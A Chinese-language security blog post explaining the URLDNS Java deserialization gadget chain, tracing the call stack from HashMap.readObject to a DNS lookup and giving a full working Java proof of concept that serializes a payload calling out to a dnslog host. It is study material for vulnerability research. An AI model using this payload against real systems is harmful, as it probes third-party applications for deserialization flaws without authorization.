反序列化Gadget学习篇一 URLDNS

使用条件

无外部依赖,使用jdk内部类,无jdk版本限制

核心原理

触发点是反序列化,因此起点肯定在某个类readObject方法,直接看ysoserial的payload:

看代码可以知道返回的是一个HashMap。也就是说首先漏洞点会先对一个HashMap执行反序列化,第一个执行的就是HashMapreadObject()方法。看代码发现对HashMap的键名计算了hash,下断点调试:

在没有分析过的情况下,为什么会关注hash函数?,因为ysoserial的注释中很明确地说明:During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.,URL类的hashCode()会发起DNS查询,就会被DNSlog记录


调用栈

放入值前会调用hash()

会调用key对象的hashCode()方法,在这个方法中做了判断,URLDNS中使用的这个key是一个java.net.URL对象,继续跟进hashCode()

如果是-1,就会调用handler.hashCode重新计算哈希, 这个handler是URLStreamHandler的对象URLStreamHandler.hashCode()。这里有调用getHostAddress()进行dns查询的代码。

在这里面会调用getHostAddress()发起DNS查询请求。

很简单的就理清了gadget思路:

  1. 用一个dnslog的url初始化一个URL对象,
  2. 初始化一个一个HashMap对象,把URL对象作为放到HashMap中
  3. 通过反射修改URL的hashcode为-1(在执行put时,会计算hashcode,如果先改再放值就不再是-1)
  4. 把得到的对象序列化,就得到了payload
    在反序列化时,就会发起对指定url的DNS查询

Gadget:

  1. HashMap->readObject()
  2. HashMap->hash()
  3. URL->hashCode()
  4. URLStreamHandler->hashCode()
  5. URLStreamHandler->getHostAddress()
  6. InetAddress->getByName()

复现poc

package changez.sec.URLDNS;

import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;

public class expgen {
    public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException {
        HashMap<URL, String> obj = new HashMap<URL, String>();
        URL u = new URL("http://ccuiwk.dnslog.cn");
        Field field = u.getClass().getDeclaredField("hashCode");
        field.setAccessible(true);
        obj.put(u, "changez");
        field.set(u, -1);

        ByteArrayOutputStream bos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(bos);
        oos.writeObject(obj);

        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(bos.toByteArray()));
        ois.readObject();
    }
}

posted @ 2021-07-07 12:20  ChanGeZ  阅读(456)  评论(0编辑  收藏  举报